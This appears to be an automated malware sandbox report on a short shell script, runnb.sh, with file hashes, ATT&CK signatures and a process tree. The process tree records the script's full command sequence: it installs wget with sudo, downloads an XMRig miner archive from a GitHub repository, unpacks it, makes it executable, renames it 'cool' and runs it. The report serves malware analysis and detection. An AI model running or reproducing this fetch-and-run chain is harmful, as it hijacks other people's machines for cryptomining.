Analysis

  • max time kernel
    1s
  • max time network
    129s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    30/10/2024, 13:06

General

  • Target

    runnb.sh

  • Size

    213B

  • MD5

    a1189543e2f98f6696c6d857b899ab0a

  • SHA1

    30b167128357a05cb5ae4d8bd386d63839d99c4d

  • SHA256

    a5951456684af2a46da1bcd8c820221c97b13a439db465c2b671fa3180d838d6

  • SHA512

    472e7cd110beb4c0ff9990763988190c875dccecc726753e295d4419413bfd14ed867a9a5977adf2d6e87d6e80f18abbdd0a929473f02bbfb24e1531e71d7aef

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

    Abuse sudo or cached sudo credentials to execute code.

  • Enumerates kernel/hardware configuration 1 TTPs 4 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 16 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/runnb.sh
    /tmp/runnb.sh
    1⤵
      PID:1499
      • /usr/bin/sudo
        sudo apt install wget
        2⤵
        • Abuse Elevation Control Mechanism: Sudo and Sudo Caching
        • Reads runtime system information
        PID:1500
      • /usr/bin/apt
        apt install wget
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:1501
        • /usr/bin/dpkg
          /usr/bin/dpkg --print-foreign-architectures
          3⤵
          • Reads runtime system information
          PID:1505
        • /usr/bin/dpkg
          /usr/bin/dpkg --print-foreign-architectures
          3⤵
          • Reads runtime system information
          PID:1509
        • /bin/sh
          /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
          3⤵
            PID:1510
            • /usr/bin/snap
              /usr/bin/snap advise-snap --from-apt
              4⤵
              • Enumerates kernel/hardware configuration
              • Reads runtime system information
              PID:1511
          • /bin/sh
            /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
            3⤵
              PID:1516
              • /usr/bin/snap
                /usr/bin/snap advise-snap --from-apt
                4⤵
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                PID:1517
            • /bin/sh
              /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
              3⤵
                PID:1525
                • /usr/bin/snap
                  /usr/bin/snap advise-snap --from-apt
                  4⤵
                  • Enumerates kernel/hardware configuration
                  • Reads runtime system information
                  PID:1526
              • /bin/sh
                /bin/sh -c "[ ! -f /usr/bin/snap ] || /usr/bin/snap advise-snap --from-apt 2>/dev/null || true"
                3⤵
                  PID:1535
                  • /usr/bin/snap
                    /usr/bin/snap advise-snap --from-apt
                    4⤵
                    • Enumerates kernel/hardware configuration
                    • Reads runtime system information
                    PID:1536
              • /usr/bin/wget
                wget https://github.com/orkaroeli/orkaroeliminer/raw/refs/heads/main/xmrigtar.tar.gz
                2⤵
                  PID:1544
                • /bin/tar
                  tar xvf xmrigtar.tar.gz
                  2⤵
                  • Reads runtime system information
                  PID:1545
                • /bin/chmod
                  chmod +x xmrig
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1549
                • /bin/mv
                  mv xmrig cool
                  2⤵
                  • Reads runtime system information
                  PID:1550
                • /tmp/cool
                  ./cool
                  2⤵
                    PID:1551

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/fileutl.message.MMujmR

                        Filesize

                        235KB

                        MD5

                        373fe2f2ef99005d2550a482f09a3e51

                        SHA1

                        68e6572b55b1e77f7d171ebac7b2579b7a6bd51d

                        SHA256

                        7552d5ab0c3879756a860aaab8e7c2f8ffb9409ea9ff9e65fc046ba5c519ebe5

                        SHA512

                        def9e854b824d2fddc6a15f898be73cfb679ac38563f5af854546f49c9d5d2316a40176dc41d6b360bda7b65de53863a53e4eedadf6336000b031b77a113607b